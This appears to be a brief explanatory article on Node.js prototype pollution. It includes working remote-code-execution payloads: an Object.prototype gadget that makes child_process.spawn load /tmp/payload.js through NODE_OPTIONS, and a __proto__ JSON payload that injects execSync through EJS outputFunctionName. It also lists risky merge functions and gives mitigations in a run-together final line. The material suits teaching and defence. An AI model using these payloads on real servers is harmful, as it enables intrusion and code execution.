Node.js Prototype Pollution is a JavaScript vulnerability particularly impactful in server-side Node.js applications, where polluting Object.prototype can affect application behavior, bypass security checks, or achieve remote code execution.
Unlike browser-based prototype pollution, Node.js pollution persists for the entire process lifetime, affecting all subsequent requests and operations.
// If Object.prototype is polluted:
Object.prototype.shell = '/proc/self/exe';
Object.prototype.argv0 = 'node';
Object.prototype.env = { NODE_OPTIONS: '--require /tmp/payload.js' };
// Later, when any child process spawns:
child_process.spawn('anything');
// Uses polluted properties → executes payload!
// Pollution payload
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}
// When EJS renders, polluted property triggers RCE
# Deep merge/extend operations
_.merge({}, userInput);
$.extend(true, {}, userInput);
lodash.defaultsDeep({}, userInput);
# Object.assign (shallow, but still risky)
Object.assign({}, userInput);
Object.create(null) for dictionaries--frozen-intrinsics flag (Node.js 12+)__proto__, constructor, prototype keys